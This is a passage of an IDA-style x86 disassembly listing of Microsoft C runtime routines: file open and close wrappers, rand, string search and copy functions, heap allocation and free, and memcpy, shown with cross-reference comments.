sub_40CEC3+6Bj ; sub_40CEC3+92j xor eax, eax jmp short loc_40CF77 ; --------------------------------------------------------------------------- loc_40CEFE: ; CODE XREF: sub_40CEC3+1Dj xor eax, eax mov esi, [ebp+arg_4] cmp esi, ebx setnz al cmp eax, ebx jz short loc_40CEE2 xor eax, eax cmp [esi], bl setnz al cmp eax, ebx jz short loc_40CEE2 call sub_412126 mov [ebp+arg_0], eax cmp eax, ebx jnz short loc_40CF30 call sub_40F7D4 mov dword ptr [eax], 18h jmp short loc_40CEFA ; --------------------------------------------------------------------------- loc_40CF30: ; CODE XREF: sub_40CEC3+5Ej mov [ebp+ms_exc.disabled], ebx cmp [edi], bl jnz short loc_40CF57 call sub_40F7D4 mov dword ptr [eax], 16h push 0FFFFFFFEh lea eax, [ebp+ms_exc.prev_er] push eax push offset dword_423068 call sub_41224C add esp, 0Ch jmp short loc_40CEFA ; --------------------------------------------------------------------------- loc_40CF57: ; CODE XREF: sub_40CEC3+72j push eax push [ebp+arg_8] push esi push edi call sub_411E84 add esp, 10h mov [ebp+var_1C], eax mov [ebp+ms_exc.disabled], 0FFFFFFFEh call sub_40CF7D mov eax, [ebp+var_1C] loc_40CF77: ; CODE XREF: sub_40CEC3+39j call __SEH_epilog4 retn sub_40CEC3 endp ; =============== S U B R O U T I N E ======================================= sub_40CF7D proc near ; CODE XREF: sub_40CEC3+ACp ; DATA XREF: r69pu5ti:00421938o push dword ptr [ebp+8] call sub_411E32 pop ecx retn sub_40CF7D endp ; =============== S U B R O U T I N E ======================================= sub_40CF87 proc near ; CODE XREF: sub_4026D7+116p ; sub_407FE4+4Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 40h push [esp+4+arg_4] push [esp+8+arg_0] call sub_40CEC3 add esp, 0Ch retn sub_40CF87 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CF9A proc near ; CODE XREF: sub_4026D7+131p var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push 0Ch push offset dword_421940 call __SEH_prolog4 xor ebx, ebx mov [ebp+var_1C], ebx xor eax, eax mov esi, [ebp+arg_0] cmp esi, ebx setnz al cmp eax, ebx jnz short loc_40CFD9 loc_40CFB9: ; CODE XREF: sub_40CF9A+49j call sub_40F7D4 mov dword ptr [eax], 16h push ebx push ebx push ebx push ebx push ebx call sub_40CB08 add esp, 14h or eax, 0FFFFFFFFh jmp loc_40D0D9 ; --------------------------------------------------------------------------- loc_40CFD9: ; CODE XREF: sub_40CF9A+1Dj xor eax, eax cmp [ebp+arg_4], ebx setnz al cmp eax, ebx jz short loc_40CFB9 mov [ebp+arg_0], esi push esi call sub_411DE0 pop ecx mov [ebp+ms_exc.disabled], ebx test byte ptr [esi+0Ch], 40h jnz loc_40D0A2 push esi call sub_4126A4 pop ecx cmp eax, 0FFFFFFFFh jz short loc_40D036 push esi call sub_4126A4 pop ecx cmp eax, 0FFFFFFFEh jz short loc_40D036 push esi call sub_4126A4 sar eax, 5 lea edi, ds:433C00h[eax*4] push esi call sub_4126A4 pop ecx pop ecx and eax, 1Fh imul eax, 28h add eax, [edi] jmp short loc_40D03B ; --------------------------------------------------------------------------- loc_40D036: ; CODE XREF: sub_40CF9A+6Cj ; sub_40CF9A+78j mov eax, offset dword_423BB8 loc_40D03B: ; CODE XREF: sub_40CF9A+9Aj test byte ptr [eax+24h], 7Fh jnz short loc_40D086 push esi call sub_4126A4 pop ecx cmp eax, 0FFFFFFFFh jz short loc_40D07B push esi call sub_4126A4 pop ecx cmp eax, 0FFFFFFFEh jz short loc_40D07B push esi call sub_4126A4 sar eax, 5 lea edi, ds:433C00h[eax*4] push esi call sub_4126A4 pop ecx pop ecx and eax, 1Fh imul eax, 28h add eax, [edi] jmp short loc_40D080 ; --------------------------------------------------------------------------- loc_40D07B: ; CODE XREF: sub_40CF9A+B1j ; sub_40CF9A+BDj mov eax, offset dword_423BB8 loc_40D080: ; CODE XREF: sub_40CF9A+DFj test byte ptr [eax+24h], 80h jz short loc_40D0A2 loc_40D086: ; CODE XREF: sub_40CF9A+A5j call sub_40F7D4 mov dword ptr [eax], 16h push ebx push ebx push ebx push ebx push ebx call sub_40CB08 add esp, 14h or [ebp+var_1C], 0FFFFFFFFh loc_40D0A2: ; CODE XREF: sub_40CF9A+5Cj ; sub_40CF9A+EAj cmp [ebp+var_1C], ebx jnz short loc_40D0CA push esi call sub_41239F mov edi, eax lea eax, [ebp+arg_8] push eax push ebx push [ebp+arg_4] push esi call sub_4109D7 mov [ebp+var_1C], eax push esi push edi call sub_412435 add esp, 1Ch loc_40D0CA: ; CODE XREF: sub_40CF9A+10Bj mov [ebp+ms_exc.disabled], 0FFFFFFFEh call sub_40D0DF mov eax, [ebp+var_1C] loc_40D0D9: ; CODE XREF: sub_40CF9A+3Aj call __SEH_epilog4 retn sub_40CF9A endp ; =============== S U B R O U T I N E ======================================= sub_40D0DF proc near ; CODE XREF: sub_40CF9A+137p ; DATA XREF: r69pu5ti:00421958o push dword ptr [ebp+8] call sub_411E32 pop ecx retn sub_40D0DF endp ; =============== S U B R O U T I N E ======================================= sub_40D0E9 proc near ; CODE XREF: sub_404844+4Fp ; .text:00409493p arg_0 = dword ptr 4 call sub_40F39E mov ecx, [esp+arg_0] mov [eax+14h], ecx retn sub_40D0E9 endp ; =============== S U B R O U T I N E ======================================= sub_40D0F6 proc near ; CODE XREF: sub_4026D7+A7p ; sub_4026D7+B6p ... call sub_40F39E mov ecx, [eax+14h] imul ecx, 343FDh add ecx, 269EC3h mov [eax+14h], ecx mov eax, ecx shr eax, 10h and eax, 7FFFh retn sub_40D0F6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D118 proc near ; CODE XREF: sub_40D1C9+12p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 20h push ebx xor ebx, ebx cmp [ebp+arg_8], ebx jnz short loc_40D146 call sub_40F7D4 push ebx push ebx push ebx push ebx push ebx mov dword ptr [eax], 16h call sub_40CB08 add esp, 14h or eax, 0FFFFFFFFh jmp loc_40D1C6 ; --------------------------------------------------------------------------- loc_40D146: ; CODE XREF: sub_40D118+Cj mov ecx, [ebp+arg_4] cmp ecx, ebx push esi mov esi, [ebp+arg_0] jz short loc_40D172 cmp esi, ebx jnz short loc_40D172 call sub_40F7D4 push ebx push ebx push ebx push ebx push ebx mov dword ptr [eax], 16h call sub_40CB08 add esp, 14h or eax, 0FFFFFFFFh jmp short loc_40D1C5 ; --------------------------------------------------------------------------- loc_40D172: ; CODE XREF: sub_40D118+37j ; sub_40D118+3Bj mov eax, 7FFFFFFFh cmp ecx, eax mov [ebp+var_1C], eax ja short loc_40D181 mov [ebp+var_1C], ecx loc_40D181: ; CODE XREF: sub_40D118+64j push edi push [ebp+arg_10] lea eax, [ebp+var_20] push [ebp+arg_C] mov [ebp+var_14], 42h push [ebp+arg_8] mov [ebp+var_18], esi push eax mov [ebp+var_20], esi call sub_4109D7 add esp, 10h cmp esi, ebx mov edi, eax jz short loc_40D1C4 dec [ebp+var_1C] js short loc_40D1B6 mov eax, [ebp+var_20] mov [eax], bl jmp short loc_40D1C2 ; --------------------------------------------------------------------------- loc_40D1B6: ; CODE XREF: sub_40D118+95j lea eax, [ebp+var_20] push eax push ebx call sub_4107D6 pop ecx pop ecx loc_40D1C2: ; CODE XREF: sub_40D118+9Cj mov eax, edi loc_40D1C4: ; CODE XREF: sub_40D118+90j pop edi loc_40D1C5: ; CODE XREF: sub_40D118+58j pop esi loc_40D1C6: ; CODE XREF: sub_40D118+29j pop ebx leave retn sub_40D118 endp ; =============== S U B R O U T I N E ======================================= sub_40D1C9 proc near ; CODE XREF: sub_402632+66p ; sub_403DB4+7Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push [esp+arg_C] push 0 push [esp+8+arg_8] push [esp+0Ch+arg_4] push [esp+10h+arg_0] call sub_40D118 add esp, 14h retn sub_40D1C9 endp ; =============== S U B R O U T I N E ======================================= sub_40D1E4 proc near ; CODE XREF: sub_40D257+5Ap arg_0 = dword ptr 4 push ebx push esi mov esi, [esp+8+arg_0] push edi xor edi, edi or ebx, 0FFFFFFFFh cmp esi, edi jnz short loc_40D211 call sub_40F7D4 push edi push edi push edi push edi push edi mov dword ptr [eax], 16h call sub_40CB08 add esp, 14h or eax, 0FFFFFFFFh jmp short loc_40D253 ; --------------------------------------------------------------------------- loc_40D211: ; CODE XREF: sub_40D1E4+Ej test byte ptr [esi+0Ch], 83h jz short loc_40D24E push esi call sub_41285E push esi mov ebx, eax call sub_412832 push esi call sub_4126A4 push eax call sub_412765 add esp, 10h test eax, eax jge short loc_40D23D or ebx, 0FFFFFFFFh jmp short loc_40D24E ; --------------------------------------------------------------------------- loc_40D23D: ; CODE XREF: sub_40D1E4+52j mov eax, [esi+1Ch] cmp eax, edi jz short loc_40D24E push eax call sub_40D35A pop ecx mov [esi+1Ch], edi loc_40D24E: ; CODE XREF: sub_40D1E4+31j ; sub_40D1E4+57j ... mov [esi+0Ch], edi mov eax, ebx loc_40D253: ; CODE XREF: sub_40D1E4+2Bj pop edi pop esi pop ebx retn sub_40D1E4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D257 proc near ; CODE XREF: sub_4026D7+137p ; sub_407FE4+1C8p ... var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 push 0Ch push offset dword_421960 call __SEH_prolog4 or [ebp+var_1C], 0FFFFFFFFh xor eax, eax mov esi, [ebp+arg_0] xor edi, edi cmp esi, edi setnz al cmp eax, edi jnz short loc_40D294 call sub_40F7D4 mov dword ptr [eax], 16h push edi push edi push edi push edi push edi call sub_40CB08 add esp, 14h or eax, 0FFFFFFFFh jmp short loc_40D2A0 ; --------------------------------------------------------------------------- loc_40D294: ; CODE XREF: sub_40D257+1Ej test byte ptr [esi+0Ch], 40h jz short loc_40D2A6 mov [esi+0Ch], edi loc_40D29D: ; CODE XREF: sub_40D257+6Fj mov eax, [ebp+var_1C] loc_40D2A0: ; CODE XREF: sub_40D257+3Bj call __SEH_epilog4 retn ; --------------------------------------------------------------------------- loc_40D2A6: ; CODE XREF: sub_40D257+41j push esi call sub_411DE0 pop ecx mov [ebp+ms_exc.disabled], edi push esi call sub_40D1E4 pop ecx mov [ebp+var_1C], eax mov [ebp+ms_exc.disabled], 0FFFFFFFEh call sub_40D2CB jmp short loc_40D29D sub_40D257 endp ; =============== S U B R O U T I N E ======================================= sub_40D2C8 proc near ; DATA XREF: r69pu5ti:00421978o mov esi, [ebp+8] sub_40D2C8 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40D2CB proc near ; CODE XREF: sub_40D257+6Ap push esi call sub_411E32 pop ecx retn sub_40D2CB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D2D3 proc near ; CODE XREF: sub_40D33B+15p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 20h push edi push esi call sub_40C500 xor edi, edi cmp esi, edi pop ecx jnz short loc_40D304 loc_40D2E7: ; CODE XREF: sub_40D2D3+34j call sub_40F7D4 push edi push edi push edi push edi push edi mov dword ptr [eax], 16h call sub_40CB08 add esp, 14h or eax, 0FFFFFFFFh jmp short loc_40D338 ; --------------------------------------------------------------------------- loc_40D304: ; CODE XREF: sub_40D2D3+12j cmp [ebp+arg_4], edi jz short loc_40D2E7 mov ecx, 7FFFFFFFh cmp eax, ecx mov [ebp+var_14], 49h mov [ebp+var_18], esi mov [ebp+var_20], esi mov [ebp+var_1C], ecx ja short loc_40D325 mov [ebp+var_1C], eax loc_40D325: ; CODE XREF: sub_40D2D3+4Dj push [ebp+arg_C] lea eax, [ebp+var_20] push [ebp+arg_8] push [ebp+arg_4] push eax call [ebp+arg_0] add esp, 10h loc_40D338: ; CODE XREF: sub_40D2D3+2Fj pop edi leave retn sub_40D2D3 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40D33B proc near ; CODE XREF: sub_4037AC+5Ep ; .text:00409FC3p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch push esi mov esi, [esp+4+arg_0] lea eax, [esp+4+arg_8] push eax push 0 push [esp+0Ch+arg_4] push offset sub_412A74 call sub_40D2D3 add esp, 10h pop esi retn sub_40D33B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D35A proc near ; CODE XREF: sub_403249+4A5p ; sub_405299+AEp ... var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 ; FUNCTION CHUNK AT 0040D3B9 SIZE 0000002F BYTES push 0Ch push offset dword_421980 call __SEH_prolog4 mov esi, [ebp+arg_0] test esi, esi jz short loc_40D3E2 cmp dword_434D5C, 3 jnz short loc_40D3B9 push 4 call sub_40F9F7 pop ecx and [ebp+ms_exc.disabled], 0 push esi call sub_40FB25 pop ecx mov [ebp+var_1C], eax test eax, eax jz short loc_40D399 push esi push eax call sub_40FB50 pop ecx pop ecx loc_40D399: ; CODE XREF: sub_40D35A+34j mov [ebp+ms_exc.disabled], 0FFFFFFFEh call sub_40D3B0 cmp [ebp+var_1C], 0 jnz short loc_40D3E2 push [ebp+arg_0] jmp short loc_40D3BA sub_40D35A endp ; =============== S U B R O U T I N E ======================================= sub_40D3B0 proc near ; CODE XREF: sub_40D35A+46p ; DATA XREF: r69pu5ti:00421998o push 4 call sub_40F91F pop ecx retn sub_40D3B0 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_40D35A loc_40D3B9: ; CODE XREF: sub_40D35A+1Aj push esi loc_40D3BA: ; CODE XREF: sub_40D35A+54j push 0 push dword_425FE8 call ds:dword_41E0F0 ; RtlFreeHeap test eax, eax jnz short loc_40D3E2 call sub_40F7D4 mov esi, eax call ds:dword_41E0D8 ; RtlGetLastWin32Error push eax call sub_40F799 mov [esi], eax pop ecx loc_40D3E2: ; CODE XREF: sub_40D35A+11j ; sub_40D35A+4Fj ... call __SEH_epilog4 retn ; END OF FUNCTION CHUNK FOR sub_40D35A ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D3E8 proc near ; CODE XREF: sub_40D437+59p var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 push 0Ch push offset dword_4219A0 call __SEH_prolog4 and [ebp+var_1C], 0 mov esi, [ebp+arg_0] cmp esi, dword_434D4C ja short loc_40D425 push 4 call sub_40F9F7 pop ecx and [ebp+ms_exc.disabled], 0 push esi call sub_4102F9 pop ecx mov [ebp+var_1C], eax mov [ebp+ms_exc.disabled], 0FFFFFFFEh call sub_40D42E loc_40D425: ; CODE XREF: sub_40D3E8+19j mov eax, [ebp+var_1C] call __SEH_epilog4 retn sub_40D3E8 endp ; =============== S U B R O U T I N E ======================================= sub_40D42E proc near ; CODE XREF: sub_40D3E8+38p ; DATA XREF: r69pu5ti:004219B8o push 4 call sub_40F91F pop ecx retn sub_40D42E endp ; =============== S U B R O U T I N E ======================================= sub_40D437 proc near ; CODE XREF: sub_403249+2A1p ; sub_403249+2EDp ... arg_0 = dword ptr 4 push ebp mov ebp, [esp+4+arg_0] cmp ebp, 0FFFFFFE0h ja loc_40D4E4 push ebx mov ebx, ds:dword_41E0F8 push esi push edi loc_40D44E: ; CODE XREF: sub_40D437+94j xor esi, esi cmp dword_425FE8, esi mov edi, ebp jnz short loc_40D472 call sub_413861 push 1Eh call sub_4136C1 push 0FFh call sub_4119A7 pop ecx pop ecx loc_40D472: ; CODE XREF: sub_40D437+21j mov eax, dword_434D5C cmp eax, 1 jnz short loc_40D48A cmp ebp, esi jz short loc_40D484 mov eax, ebp jmp short loc_40D487 ; --------------------------------------------------------------------------- loc_40D484: ; CODE XREF: sub_40D437+47j xor eax, eax inc eax loc_40D487: ; CODE XREF: sub_40D437+4Bj push eax jmp short loc_40D4A8 ; --------------------------------------------------------------------------- loc_40D48A: ; CODE XREF: sub_40D437+43j cmp eax, 3 jnz short loc_40D49A push ebp call sub_40D3E8 cmp eax, esi pop ecx jnz short loc_40D4B1 loc_40D49A: ; CODE XREF: sub_40D437+56j cmp ebp, esi jnz short loc_40D4A1 xor edi, edi inc edi loc_40D4A1: ; CODE XREF: sub_40D437+65j add edi, 0Fh and edi, 0FFFFFFF0h push edi loc_40D4A8: ; CODE XREF: sub_40D437+51j push esi push dword_425FE8 call ebx ; RtlAllocateHeap loc_40D4B1: ; CODE XREF: sub_40D437+61j mov esi, eax test esi, esi jnz short loc_40D4DD cmp dword_42636C, eax push 0Ch pop edi jz short loc_40D4CF push ebp call sub_411CE7 test eax, eax pop ecx jnz short loc_40D44E jmp short loc_40D4D6 ; --------------------------------------------------------------------------- loc_40D4CF: ; CODE XREF: sub_40D437+89j call sub_40F7D4 mov [eax], edi loc_40D4D6: ; CODE XREF: sub_40D437+96j call sub_40F7D4 mov [eax], edi loc_40D4DD: ; CODE XREF: sub_40D437+7Ej pop edi mov eax, esi pop esi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_40D4E4: ; CODE XREF: sub_40D437+8j push ebp call sub_411CE7 pop ecx call sub_40F7D4 mov dword ptr [eax], 0Ch xor eax, eax pop ebp retn sub_40D437 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40D500 proc near ; CODE XREF: sub_403718+1Ep ; sub_403718+7Ap ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push edi push ebx push esi mov dl, [ecx] mov edi, [esp+0Ch+arg_0] test dl, dl jz short loc_40D580 mov dh, [ecx+1] test dh, dh jz short loc_40D56D loc_40D518: ; CODE XREF: sub_40D500+58j ; sub_40D500+6Bj mov esi, edi mov ecx, [esp+0Ch+arg_4] mov al, [edi] add esi, 1 cmp al, dl jz short loc_40D53E test al, al jz short loc_40D538 loc_40D52B: ; CODE XREF: sub_40D500+36j mov al, [esi] add esi, 1 loc_40D530: ; CODE XREF: sub_40D500+45j cmp al, dl jz short loc_40D53E test al, al jnz short loc_40D52B loc_40D538: ; CODE XREF: sub_40D500+29j pop esi pop ebx pop edi xor eax, eax retn ; --------------------------------------------------------------------------- loc_40D53E: ; CODE XREF: sub_40D500+25j ; sub_40D500+32j mov al, [esi] add esi, 1 cmp al, dh jnz short loc_40D530 lea edi, [esi-1] loc_40D54A: ; CODE XREF: sub_40D500+69j mov ah, [ecx+2] test ah, ah jz short loc_40D579 mov al, [esi] add esi, 2 cmp al, ah jnz short loc_40D518 mov al, [ecx+3] test al, al jz short loc_40D579 mov ah, [esi-1] add ecx, 2 cmp al, ah jz short loc_40D54A jmp short loc_40D518 ; --------------------------------------------------------------------------- loc_40D56D: ; CODE XREF: sub_40D500+16j xor eax, eax pop esi pop ebx pop edi mov al, dl jmp loc_40D6A6 ; --------------------------------------------------------------------------- loc_40D579: ; CODE XREF: sub_40D500+4Fj ; sub_40D500+5Fj lea eax, [edi-1] pop esi pop ebx pop edi retn ; --------------------------------------------------------------------------- loc_40D580: ; CODE XREF: sub_40D500+Fj mov eax, edi pop esi pop ebx pop edi retn sub_40D500 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40D590 proc near ; CODE XREF: sub_4037AC+A5p arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] jmp short loc_40D605 sub_40D590 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40D5A0 proc near ; CODE XREF: sub_4037AC+3Bp ; sub_4037AC+91p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_0] push edi test ecx, 3 jz short loc_40D5C0 loc_40D5AD: ; CODE XREF: sub_40D5A0+1Cj mov al, [ecx] add ecx, 1 test al, al jz short loc_40D5F3 test ecx, 3 jnz short loc_40D5AD mov edi, edi loc_40D5C0: ; CODE XREF: sub_40D5A0+Bj ; sub_40D5A0+36j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_40D5C0 mov eax, [ecx-4] test al, al jz short loc_40D602 test ah, ah jz short loc_40D5FD test eax, 0FF0000h jz short loc_40D5F8 test eax, 0FF000000h jz short loc_40D5F3 jmp short loc_40D5C0 ; --------------------------------------------------------------------------- loc_40D5F3: ; CODE XREF: sub_40D5A0+14j ; sub_40D5A0+4Fj lea edi, [ecx-1] jmp short loc_40D605 ; --------------------------------------------------------------------------- loc_40D5F8: ; CODE XREF: sub_40D5A0+48j lea edi, [ecx-2] jmp short loc_40D605 ; --------------------------------------------------------------------------- loc_40D5FD: ; CODE XREF: sub_40D5A0+41j lea edi, [ecx-3] jmp short loc_40D605 ; --------------------------------------------------------------------------- loc_40D602: ; CODE XREF: sub_40D5A0+3Dj lea edi, [ecx-4] loc_40D605: ; CODE XREF: sub_40D590+5j ; sub_40D5A0+56j ... mov ecx, [esp+4+arg_4] test ecx, 3 jz short loc_40D62E loc_40D611: ; CODE XREF: sub_40D5A0+85j mov dl, [ecx] add ecx, 1 test dl, dl jz short loc_40D680 mov [edi], dl add edi, 1 test ecx, 3 jnz short loc_40D611 jmp short loc_40D62E ; --------------------------------------------------------------------------- loc_40D629: ; CODE XREF: sub_40D5A0+A6j ; sub_40D5A0+C0j mov [edi], edx add edi, 4 loc_40D62E: ; CODE XREF: sub_40D5A0+6Fj ; sub_40D5A0+87j mov edx, 7EFEFEFFh mov eax, [ecx] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [ecx] add ecx, 4 test eax, 81010100h jz short loc_40D629 test dl, dl jz short loc_40D680 test dh, dh jz short loc_40D677 test edx, 0FF0000h jz short loc_40D66A test edx, 0FF000000h jz short loc_40D662 jmp short loc_40D629 ; --------------------------------------------------------------------------- loc_40D662: ; CODE XREF: sub_40D5A0+BEj mov [edi], edx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_40D66A: ; CODE XREF: sub_40D5A0+B6j mov [edi], dx mov eax, [esp+4+arg_0] mov byte ptr [edi+2], 0 pop edi retn ; --------------------------------------------------------------------------- loc_40D677: ; CODE XREF: sub_40D5A0+AEj mov [edi], dx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_40D680: ; CODE XREF: sub_40D5A0+78j ; sub_40D5A0+AAj mov [edi], dl mov eax, [esp+4+arg_0] pop edi retn sub_40D5A0 endp ; --------------------------------------------------------------------------- align 10h ; START OF FUNCTION CHUNK FOR sub_40D6A0 loc_40D690: ; CODE XREF: sub_40D6A0+1Fj lea eax, [edx-1] pop ebx retn ; END OF FUNCTION CHUNK FOR sub_40D6A0 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40D6A0 proc near ; CODE XREF: sub_403249+191p ; sub_403249+1ADp ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 ; FUNCTION CHUNK AT 0040D690 SIZE 00000005 BYTES xor eax, eax mov al, [esp+arg_4] loc_40D6A6: ; CODE XREF: sub_40D500+74j push ebx mov ebx, eax shl eax, 8 mov edx, [esp+4+arg_0] test edx, 3 jz short loc_40D6CD loc_40D6B8: ; CODE XREF: sub_40D6A0+2Bj mov cl, [edx] add edx, 1 cmp cl, bl jz short loc_40D690 test cl, cl jz short loc_40D716 test edx, 3 jnz short loc_40D6B8 loc_40D6CD: ; CODE XREF: sub_40D6A0+16j or ebx, eax push edi mov eax, ebx shl ebx, 10h push esi or ebx, eax loc_40D6D8: ; CODE XREF: sub_40D6A0+63j ; sub_40D6A0+72j ... mov ecx, [edx] mov edi, 7EFEFEFFh mov eax, ecx mov esi, edi xor ecx, ebx add esi, eax add edi, ecx xor ecx, 0FFFFFFFFh xor eax, 0FFFFFFFFh xor ecx, edi xor eax, esi add edx, 4 and ecx, 81010100h jnz short loc_40D71A and eax, 81010100h jz short loc_40D6D8 and eax, 1010100h jnz short loc_40D714 and esi, 80000000h jnz short loc_40D6D8 loc_40D714: ; CODE XREF: sub_40D6A0+6Aj ; sub_40D6A0+83j ... pop esi pop edi loc_40D716: ; CODE XREF: sub_40D6A0+23j pop ebx xor eax, eax retn ; --------------------------------------------------------------------------- loc_40D71A: ; CODE XREF: sub_40D6A0+5Cj mov eax, [edx-4] cmp al, bl jz short loc_40D757 test al, al jz short loc_40D714 cmp ah, bl jz short loc_40D750 test ah, ah jz short loc_40D714 shr eax, 10h cmp al, bl jz short loc_40D749 test al, al jz short loc_40D714 cmp ah, bl jz short loc_40D742 test ah, ah jz short loc_40D714 jmp short loc_40D6D8 ; --------------------------------------------------------------------------- loc_40D742: ; CODE XREF: sub_40D6A0+9Aj pop esi pop edi lea eax, [edx-1] pop ebx retn ; --------------------------------------------------------------------------- loc_40D749: ; CODE XREF: sub_40D6A0+92j lea eax, [edx-2] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_40D750: ; CODE XREF: sub_40D6A0+87j lea eax, [edx-3] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_40D757: ; CODE XREF: sub_40D6A0+7Fj lea eax, [edx-4] pop esi pop edi pop ebx retn sub_40D6A0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D75E proc near ; CODE XREF: sub_403718+36p ; sub_403718+43p ... var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = byte ptr -24h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 2Ch mov eax, dword_423068 xor eax, ebp mov [ebp+var_4], eax mov eax, [ebp+arg_0] push ebx push esi mov esi, [ebp+arg_4] push edi mov [ebp+var_2C], eax call sub_40F39E push 8 pop ecx mov [ebp+var_28], eax xor eax, eax lea edi, [ebp+var_24] push 7 rep stosd pop edi loc_40D78F: ; CODE XREF: sub_40D75E+4Aj mov dl, [esi] movzx ecx, dl mov eax, ecx and ecx, edi mov bl, 1 shl bl, cl shr eax, 3 lea eax, [ebp+eax+var_24] or [eax], bl inc esi test dl, dl jnz short loc_40D78F mov edx, [ebp+var_2C] test edx, edx jnz short loc_40D7BE mov eax, [ebp+var_28] mov edx, [eax+18h] jmp short loc_40D7BE ; --------------------------------------------------------------------------- loc_40D7B9: ; CODE XREF: sub_40D75E+77j test al, al jz short loc_40D7D7 inc edx loc_40D7BE: ; CODE XREF: sub_40D75E+51j ; sub_40D75E+59j mov al, [edx] movzx esi, al xor ebx, ebx mov ecx, esi and ecx, edi inc ebx shl ebx, cl shr esi, 3 mov cl, [ebp+esi+var_24] test bl, cl jnz short loc_40D7B9 loc_40D7D7: ; CODE XREF: sub_40D75E+5Dj mov ebx, edx jmp short loc_40D7F3 ; --------------------------------------------------------------------------- loc_40D7DB: ; CODE XREF: sub_40D75E+98j movzx esi, byte ptr [edx] xor eax, eax mov ecx, esi and ecx, edi inc eax shl eax, cl shr esi, 3 mov cl, [ebp+esi+var_24] test al, cl jnz short loc_40D7FA inc edx loc_40D7F3: ; CODE XREF: sub_40D75E+7Bj cmp byte ptr [edx], 0 jnz short loc_40D7DB jmp short loc_40D7FE ; --------------------------------------------------------------------------- loc_40D7FA: ; CODE XREF: sub_40D75E+92j mov byte ptr [edx], 0 inc edx loc_40D7FE: ; CODE XREF: sub_40D75E+9Aj mov eax, [ebp+var_28] mov ecx, [ebp+var_4] mov [eax+18h], edx mov eax, ebx sub eax, edx neg eax sbb eax, eax pop edi and eax, ebx pop esi xor ecx, ebp pop ebx call sub_40AB4A leave retn sub_40D75E endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D820 proc near ; CODE XREF: sub_40393C+F6p ; sub_405299+82p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_40D840 cmp edi, eax jb loc_40D9E4 loc_40D840: ; CODE XREF: sub_40D820+16j cmp ecx, 100h jb short loc_40D867 cmp dword_434D40, 0 jz short loc_40D867 push edi push esi and edi, 0Fh and esi, 0Fh cmp edi, esi pop esi pop edi jnz short loc_40D867 pop esi pop edi pop ebp jmp sub_413921 ; --------------------------------------------------------------------------- loc_40D867: ; CODE XREF: sub_40D820+26j ; sub_40D820+2Fj ... test edi, 3 jnz short loc_40D884 shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_40D8A4 rep movsd jmp ds:off_40D994[edx*4] ; --------------------------------------------------------------------------- align 4 loc_40D884: ; CODE XREF: sub_40D820+4Dj mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_40D89C and eax, 3 add ecx, eax jmp dword ptr ds:loc_40D8A4+4[eax*4] ; --------------------------------------------------------------------------- loc_40D89C: ; CODE XREF: sub_40D820+6Ej jmp dword ptr ds:loc_40D9A4[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_40D8A4: ; CODE XREF: sub_40D820+58j ; 